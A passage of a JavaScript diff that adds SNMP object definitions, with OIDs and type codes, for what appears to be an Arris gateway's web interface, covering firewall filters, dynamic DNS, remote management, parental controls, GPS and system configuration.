arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart; +var arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd; +var arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart; +var arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd; +var arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType; +var arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD; +var arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus; + +var FWFilterRules = new Container("FWFilterRules", "1.3.6.1.4.1.4115.1.20.1.1.4.17"); +FWFilterRules.FWFilterProxy= new Scalar("FWFilterProxy","1.3.6.1.4.1.4115.1.20.1.1.4.17.1",2); +FWFilterRules.FWFilterCookies= new Scalar("FWFilterCookies","1.3.6.1.4.1.4115.1.20.1.1.4.17.2",2); +FWFilterRules.FWFilterJavaApplets= new Scalar("FWFilterJavaApplets","1.3.6.1.4.1.4115.1.20.1.1.4.17.3",2); +FWFilterRules.FWFilterActiveX= new Scalar("FWFilterActiveX","1.3.6.1.4.1.4115.1.20.1.1.4.17.4",2); +FWFilterRules.FWFilterPopupWnds= new Scalar("FWFilterPopupWnds","1.3.6.1.4.1.4115.1.20.1.1.4.17.5",2); +FWFilterRules.FWBlockFragIPPkts= new Scalar("FWBlockFragIPPkts","1.3.6.1.4.1.4115.1.20.1.1.4.17.6",2); +FWFilterRules.FWPortScanProtect= new Scalar("FWPortScanProtect","1.3.6.1.4.1.4115.1.20.1.1.4.17.7",2); +FWFilterRules.FWIPFloodDetect= new Scalar("FWIPFloodDetect","1.3.6.1.4.1.4115.1.20.1.1.4.17.8",2); +var arFWFilterProxy=FWFilterRules.FWFilterProxy; +var arFWFilterCookies=FWFilterRules.FWFilterCookies; +var arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets; +var arFWFilterActiveX=FWFilterRules.FWFilterActiveX; +var arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds; +var arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts; +var arFWPortScanProtect=FWFilterRules.FWPortScanProtect; +var arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect; + +var FWDDNSObjs = new Container("FWDDNSObjs", "1.3.6.1.4.1.4115.1.20.1.1.4.18"); +FWDDNSObjs.FWDDNSEnable= new Scalar("FWDDNSEnable","1.3.6.1.4.1.4115.1.20.1.1.4.18.1",2); +FWDDNSObjs.FWDDNSType= new Scalar("FWDDNSType","1.3.6.1.4.1.4115.1.20.1.1.4.18.2",2); +FWDDNSObjs.FWDDNSUserHame= new Scalar("FWDDNSUserHame","1.3.6.1.4.1.4115.1.20.1.1.4.18.3",4); +FWDDNSObjs.FWDDNSPassword= new Scalar("FWDDNSPassword","1.3.6.1.4.1.4115.1.20.1.1.4.18.4",4); +FWDDNSObjs.FWDDNSDomainName= new Scalar("FWDDNSDomainName","1.3.6.1.4.1.4115.1.20.1.1.4.18.5",4); +FWDDNSObjs.FWDDNSIPAddrType= new Scalar("FWDDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.18.6",2); +FWDDNSObjs.FWDDNSIPAddr= new Scalar("FWDDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.18.7",4, 1); +FWDDNSObjs.FWDDNSStatus= new Scalar("FWDDNSStatus","1.3.6.1.4.1.4115.1.20.1.1.4.18.8",4); +var arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable; +var arFWDDNSType=FWDDNSObjs.FWDDNSType; +var arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame; +var arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword; +var arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName; +var arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType; +var arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr; +var arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus; + + + +/*var FWDDNSDataTable= new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.11.1.5.12"); +FWDDNSDataTable.DDNSService= new Column("DDNSService","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1",4); +FWDDNSDataTable.DDNSUserName=new Column("DDNSUserName","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2",4); +FWDDNSDataTable.DDNSPassword=new Column("DDNSPassword","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3",4); +FWDDNSDataTable.DDNSHostNames=new Column("DDNSHostNames","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4",4); +var arDDNSService= FWDDNSDataTable.DDNSService; +var arDDNSUserName= FWDDNSDataTable.DDNSUserName; +var arDDNSPassword= FWDDNSDataTable.DDNSPassword; +var arDDNSHostNames=FWDDNSDataTable.DDNSHostNames; +*/ +var FWDDNSDataTable = new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1"); +FWDDNSDataTable.FWDDNSType = new Column("FWDDNSType", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3", 4); +FWDDNSDataTable.FWDDNSUserHame = new Column("FWDDNSUserHame", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4", 4); +FWDDNSDataTable.FWDDNSPassword = new Column("FWDDNSPassword", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5", 4); +var arDDNSService= FWDDNSDataTable.FWDDNSType; +var arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame; +var arDDNSPassword= FWDDNSDataTable.FWDDNSPassword; + +var FWDDNSHostAccess = new Table("FWDDNSHostAccess", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2"); +FWDDNSHostAccess.HostnameDDNSIndex = new Column("HostnameDDNSIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1", 2); +FWDDNSHostAccess.HostnameValue = new Column("HostnameValue", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2", 2); +FWDDNSHostAccess.HostnameRowStatus = new Column("HostnameRowStatus", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3", 2); +var arHostnameDDNSIndex = FWDDNSHostAccess.HostnameDDNSIndex; +var arHostnameValue = FWDDNSHostAccess.HostnameValue; +var arHostnameRowStatus = FWDDNSHostAccess.HostnameRowStatus; + + + +var FWFeatures = new Container("FWFeatures", "1.3.6.1.4.1.4115.1.20.1.1.4.19"); +FWFeatures.FWEnableWanBlocking= new Scalar("FWEnableWanBlocking","1.3.6.1.4.1.4115.1.20.1.1.4.19.1",2); +FWFeatures.FWIPSecPassThru= new Scalar("FWIPSecPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.2",2); +FWFeatures.FWPPTPPassThru= new Scalar("FWPPTPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.3",2); +FWFeatures.FWEnableMulticast= new Scalar("FWEnableMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.19.4",2); +FWFeatures.FWEnableRemoteMgmt= new Scalar("FWEnableRemoteMgmt","1.3.6.1.4.1.4115.1.20.1.1.4.19.5",2); +FWFeatures.FWL2TPPassThru= new Scalar("FWL2TPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.7",2); +FWFeatures.FWEnableWanSNMP= new Scalar("FWEnableWanSNMP","1.3.6.1.4.1.4115.1.20.1.1.4.19.8",2); +FWFeatures.FWEnableWanSSH= new Scalar("FWEnableWanSSH","1.3.6.1.4.1.4115.1.20.1.1.4.19.9",2); +FWFeatures.FWEnableLanSNMPWireless= new Scalar("FWEnableLanSNMPWireless","1.3.6.1.4.1.4115.1.20.1.1.4.19.10",2); +var arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking; +var arFWIPSecPassThru=FWFeatures.FWIPSecPassThru; +var arFWPPTPPassThru=FWFeatures.FWPPTPPassThru; +var arFWEnableMulticast=FWFeatures.FWEnableMulticast; +var arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt; +var arFWL2TPPassThru=FWFeatures.FWL2TPPassThru; +var arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP; +var arFWEnableWanSSH=FWFeatures.FWEnableWanSSH; +var arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless; + +// scm add 4 + +var FWEnableRemoteMgmt = new Container("FWEnableRemoteMgmt", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12"); +FWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar("FWRemoteMgmtHttp","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new Scalar("FWRemoteMgmtHttpPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar("FWRemoteMgmtHttps","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar("FWRemoteMgmtHttpsPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4",2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedType = new Scalar("FWRemoteMgmtAllowedType", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5", 2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 = new Scalar("FWRemoteMgmtAllowedIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 = new Scalar("FWRemoteMgmtAllowedIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar("FWRemoteMgmtAllowedStartIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 = new Scalar("FWRemoteMgmtAllowedEndIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar("FWRemoteMgmtAllowedStartIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 = new Scalar("FWRemoteMgmtAllowedEndIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11", 4); +FWEnableRemoteMgmt.FWRemoteMgmtTelnet = new Scalar("FWRemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12", 4); +var arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp; +var arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort; +var arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps; +var arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort; +var arFWRemoteMgmtAllowedType =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType ; +var arFWRemoteMgmtAllowedIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 ; +var arFWRemoteMgmtAllowedIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 ; +var arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ; +var arFWRemoteMgmtAllowedEndIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 ; +var arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ; +var arFWRemoteMgmtAllowedEndIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 ; +var arFWRemoteMgmtTelnet =FWEnableRemoteMgmt.FWRemoteMgmtTelnet ; + +var CmDoc30Acess = new Container("CmDoc30Acess", "1.3.6.1.4.1.4115.1.3.4.1.2"); +CmDoc30Acess.RemoteMgmtTelnet = new Scalar("RemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.3.4.1.2.2", 2); +CmDoc30Acess.RemoteMgmtSSH = new Scalar("RemoteMgmtSSH", "1.3.6.1.4.1.4115.1.3.4.1.2.10", 2); +var arRemoteMgmtTelnet =CmDoc30Acess.RemoteMgmtTelnet ; +var arRemoteMgmtSSH =CmDoc30Acess.RemoteMgmtSSH ; + + +var FWParentalControls = new Container("FWParentalControls", "1.3.6.1.4.1.4115.1.20.1.1.4.20"); +FWParentalControls.KeywordCount= new Scalar("KeywordCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.1",2); +FWParentalControls.KeywordClear= new Scalar("KeywordClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.2",2); +FWParentalControls.BlackListCount= new Scalar("BlackListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.3",2); +FWParentalControls.BlackListClear= new Scalar("BlackListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.4",2); +FWParentalControls.WhiteListCount= new Scalar("WhiteListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.5",2); +FWParentalControls.WhiteListClear= new Scalar("WhiteListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.6",2); +FWParentalControls.TrustedDeviceCount= new Scalar("TrustedDeviceCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.7",2); +FWParentalControls.TrustedDeviceClear= new Scalar("TrustedDeviceClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.8",2); +FWParentalControls.KeywordTableFreeIdx= new Scalar("KeywordTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.9",2); +FWParentalControls.BlackListFreeIdx= new Scalar("BlackListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.11",2); +FWParentalControls.WhiteListFreeIdx= new Scalar("WhiteListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.13",2); +FWParentalControls.TrustedDeviceFreeIdx= new Scalar("TrustedDeviceFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.15",2); +FWParentalControls.EnableParentalCont= new Scalar("EnableParentalCont","1.3.6.1.4.1.4115.1.20.1.1.4.20.17",2); +FWParentalControls.ManagedSitesEnabled= new Scalar("ManagedSitesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.18",2); +FWParentalControls.ManagedServicesEnabled= new Scalar("ManagedServicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.19",2); +FWParentalControls.ManagedDevicesEnabled= new Scalar("ManagedDevicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.20",2); +var arKeywordCount=FWParentalControls.KeywordCount; +var arKeywordClear=FWParentalControls.KeywordClear; +var arBlackListCount=FWParentalControls.BlackListCount; +var arBlackListClear=FWParentalControls.BlackListClear; +var arWhiteListCount=FWParentalControls.WhiteListCount; +var arWhiteListClear=FWParentalControls.WhiteListClear; +var arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount; +var arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear; +var arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx; +var arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx; +var arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx; +var arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx; +var arEnableParentalCont=FWParentalControls.EnableParentalCont; +var arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled; +var arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled; +var arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled; + +var KeywordBlkTable = new Table("KeywordBlkTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.10"); +KeywordBlkTable.KeywordBlkIndex = new Column("KeywordBlkIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1",2); +KeywordBlkTable.KeywordBlkWord = new Column("KeywordBlkWord","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2",4); +KeywordBlkTable.KeywordBlkTOD = new Column("KeywordBlkTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3",2); +KeywordBlkTable.KeywordBlkStatus = new Column("KeywordBlkStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4",2); +KeywordBlkTable.KeywordBlkStartMin = new Column("KeywordBlkStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5",2); +KeywordBlkTable.KeywordBlkEndMin = new Column("KeywordBlkEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6",2); +var arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex; +var arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord; +var arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD; +var arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus; +var arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin; +var arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin; + +var BlackListTable = new Table("BlackListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.12"); +BlackListTable.BlackListIndex = new Column("BlackListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1",2); +BlackListTable.BlackListDomain = new Column("BlackListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2",4); +BlackListTable.BlackListTOD = new Column("BlackListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3",2); +BlackListTable.BlackListStatus = new Column("BlackListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4",2); +BlackListTable.BlackListStartMin = new Column("BlackListStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5",2); +BlackListTable.BlackListEndMin = new Column("BlackListEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6",2); +var arBlackListIndex=BlackListTable.BlackListIndex; +var arBlackListDomain=BlackListTable.BlackListDomain; +var arBlackListTOD=BlackListTable.BlackListTOD; +var arBlackListStatus=BlackListTable.BlackListStatus; +var arBlackListStartMin=BlackListTable.BlackListStartMin; +var arBlackListEndMin=BlackListTable.BlackListEndMin; + +var WhiteListTable = new Table("WhiteListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.14"); +WhiteListTable.WhiteListIndex = new Column("WhiteListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1",2); +WhiteListTable.WhiteListDomain = new Column("WhiteListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2",4); +WhiteListTable.WhiteListTOD = new Column("WhiteListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3",2); +WhiteListTable.WhiteListStatus = new Column("WhiteListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4",2); +var arWhiteListIndex=WhiteListTable.WhiteListIndex; +var arWhiteListDomain=WhiteListTable.WhiteListDomain; +var arWhiteListTOD=WhiteListTable.WhiteListTOD; +var arWhiteListStatus=WhiteListTable.WhiteListStatus; + +var TrustedDeviceTable = new Table("TrustedDeviceTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.16"); +TrustedDeviceTable.TrustedDeviceIndex = new Column("TrustedDeviceIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1",2); +TrustedDeviceTable.TrustedDeviceMAC = new Column("TrustedDeviceMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2",4, 1); +TrustedDeviceTable.TrustedDeviceStatus = new Column("TrustedDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3",2); +TrustedDeviceTable.TrustedDeviceName = new Column("TrustedDeviceName","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4",4); +TrustedDeviceTable.TrustedDeviceAddrType = new Column("TrustedDeviceAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5",2); +TrustedDeviceTable.TrustedDeviceAddr = new Column("TrustedDeviceAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6",4, 1); +var arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex; +var arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC; +var arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus; +var arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName; +var arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType; +var arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr; + +var TrustedDeviceManagedServicesTable = new Table("TrustedDeviceManagedServicesTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.21"); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column("TrustedDeviceManagedServicesIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column("TrustedDeviceManagedServicesMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2",4, 1); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column("TrustedDeviceManagedServicesStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column("TrustedDeviceManagedServicesName","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4",4); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column("TrustedDeviceManagedServicesAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column("TrustedDeviceManagedServicesAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6",4, 1); +var arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex; +var arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC; +var arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus; +var arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName; +var arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType; +var arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr; + +// OG1600 GPS support +var GpsCfg = new Container("GpsCfg", "1.3.6.1.4.1.4115.12"); +GpsCfg.GpsScanOnBoot= new Scalar("GpsScanOnBoot","1.3.6.1.4.1.4115.12.1",2); +GpsCfg.GpsScanPeriodically= new Scalar("GpsScanPeriodically","1.3.6.1.4.1.4115.12.2",2); +GpsCfg.GpsPeriodicInterval= new Scalar("GpsPeriodicInterval","1.3.6.1.4.1.4115.12.3",66); +GpsCfg.GpsPeriodicTime= new Scalar("GpsPeriodicTime","1.3.6.1.4.1.4115.12.4",4); +GpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar("GpsPowerDownAfterSuccessfulScan","1.3.6.1.4.1.4115.12.5",2); +GpsCfg.GpsScanTimeout= new Scalar("GpsScanTimeout","1.3.6.1.4.1.4115.12.6",66); +GpsCfg.GpsScanStatus= new Scalar("GpsScanStatus","1.3.6.1.4.1.4115.12.7",66); +GpsCfg.GpsErrorDetails= new Scalar("GpsErrorDetails","1.3.6.1.4.1.4115.12.8",4); +GpsCfg.GpsLastScanTime= new Scalar("GpsLastScanTime","1.3.6.1.4.1.4115.12.9",4); +GpsCfg.GpsLastSuccessfulScanTime= new Scalar("GpsLastSuccessfulScanTime","1.3.6.1.4.1.4115.12.10",4); +GpsCfg.GpsLockedLatitude= new Scalar("GpsLockedLatitude","1.3.6.1.4.1.4115.12.11",4); +GpsCfg.GpsLockedLongitude= new Scalar("GpsLockedLongitude","1.3.6.1.4.1.4115.12.12",4); +GpsCfg.GpsNumberOfSatellites= new Scalar("GpsNumberOfSatellites","1.3.6.1.4.1.4115.12.13",66); +GpsCfg.GpsReset= new Scalar("GpsReset","1.3.6.1.4.1.4115.12.14",2); +GpsCfg.GpsSuccessfulScanSinceBootup= new Scalar("GpsSuccessfulScanSinceBootup","1.3.6.1.4.1.4115.12.15",2); + +var arGpsScanOnBoot=GpsCfg.GpsScanOnBoot; +var arGpsScanPeriodically=GpsCfg.GpsScanPeriodically; +var arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval; +var arGpsPeriodicTime=GpsCfg.GpsPeriodicTime; +var arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan; +var arGpsScanTimeout=GpsCfg.GpsScanTimeout; +var arGpsScanStatus=GpsCfg.GpsScanStatus; +var arGpsErrorDetails=GpsCfg.GpsErrorDetails; +var arGpsLastScanTime=GpsCfg.GpsLastScanTime; +var arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime; +var arGpsLockedLatitude=GpsCfg.GpsLockedLatitude; +var arGpsLockedLongitude=GpsCfg.GpsLockedLongitude; +var arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites; +var arGpsReset=GpsCfg.GpsReset; +var arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup; + +var SysCfg = new Container("SysCfg", "1.3.6.1.4.1.4115.1.20.1.1.5"); +SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4); +SysCfg.AdminTimeout= new Scalar("AdminTimeout","1.3.6.1.4.1.4115.1.20.1.1.5.2",66); +SysCfg.TimeZoneUTCOffset= new Scalar("TimeZoneUTCOffset","1.3.6.1.4.1.4115.1.20.1.1.5.3",2); +SysCfg.Reboot= new Scalar("Reboot","1.3.6.1.4.1.4115.1.20.1.1.5.4",2); +SysCfg.Defaults= new Scalar("Defaults","1.3.6.1.4.1.4115.1.20.1.1.5.5",2); +SysCfg.Language= new Scalar("Language","1.3.6.1.4.1.4115.1.20.1.1.5.6",4); +SysCfg.Name= new Scalar("Name","1.3.6.1.4.1.4115.1.20.1.1.5.7",4); +SysCfg.SerialNumber= new Scalar("SerialNumber","1.3.6.1.4.1.4115.1.20.1.1.5.8",4); +SysCfg.BootCodeVersion= new Scalar("BootCodeVersion","1.3.6.1.4.1.4115.1.20.1.1.5.9",4); +SysCfg.HardwareVersion= new Scalar("HardwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.10",4); +SysCfg.FirmwareVersion= new Scalar("FirmwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.11",4); +SysCfg.LogLevel= new Scalar("LogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.12",2); +SysCfg.CustomSettings= new Scalar("CustomSettings","1.3.6.1.4.1.4115.1.20.1.1.5.13",4,1); +SysCfg.CustomID= new Scalar("CustomID","1.3.6.1.4.1.4115.1.20.1.1.5.14",2); +SysCfg.CurrentTime= new Scalar("CurrentTime","1.3.6.1.4.1.4115.1.20.1.1.5.15",4,1); +SysCfg.TACACSAddr= new Scalar("TACACSAddr","1.3.6.1.4.1.4115.1.20.1.1.5.20",4,1); +SysCfg.TACACSPort= new Scalar("TACACSPort","1.3.6.1.4.1.4115.1.20.1.1.5.21",2); +SysCfg.TACACSSecretKey= new Scalar("TACACSSecretKey","1.3.6.1.4.1.4115.1.20.1.1.5.22",4,1); +SysCfg.XmlProvisioningFile= new Scalar("XmlProvisioningFile","1.3.6.1.4.1.4115.1.20.1.1.5.23",4); +SysCfg.XmlProvisioningStatus= new Scalar("XmlProvisioningStatus","1.3.6.1.4.1.4115.1.20.1.1.5.24",2); +SysCfg.BlockNonArrisDevices= new Scalar("BlockNonArrisDevices","1.3.6.1.4.1.4115.1.20.1.1.5.26",2); +SysCfg.DHCPLogLevel= new Scalar("DHCPLogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.27",2); +SysCfg.TechnicianName= new Scalar("TechnicianName","1.3.6.1.4.1.4115.1.20.1.1.5.28",4); +SysCfg.EnableLanEtherPrivateWanBlock= new Scalar("EnableLanEtherPrivateWanBlock","1.3.6.1.4.1.4115.1.20.1.1.5.29",2); +SysCfg.TACACSIPAddrType= new Scalar("TACACSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.30",2); +SysCfg.TACACSIPAddr= new Scalar("TACACSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.5.31",4,1); +SysCfg.EnabledInterfaces= new Scalar("EnabledInterfaces","1.3.6.1.4.1.4115.1.20.1.1.5.32",2); +SysCfg.EnabledInterfacesString= new Scalar("EnabledInterfacesString","1.3.6.1.4.1.4115.1.20.1.1.5.33",4); +SysCfg.InboundTrafficLogEnable= new Scalar("InboundTrafficLogEnable","1.3.6.1.4.1.4115.1.20.1.1.5.34",2); +SysCfg.NATPBypassEnable= new Scalar("NATPBypassEnable","1.3.6.1.4.1.4115.1.20.1.1.5.35",2); +SysCfg.NATDebug= new Scalar("NATDebug","1.3.6.1.4.1.4115.1.20.1.1.5.36",2); +SysCfg.DisableResetButton= new Scalar("DisableResetButton","1.3.6.1.4.1.4115.1.20.1.1.5.37",2); +SysCfg.DHCPOption43Sub2= new Scalar("DHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.38",4,1); +SysCfg.DHCPOption43Sub3= new Scalar("DHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.39",4,1); +SysCfg.ESTBDHCPOption43Sub2= new Scalar("ESTBDHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.40",4,1); +SysCfg.ESTBDHCPOption43Sub3= new 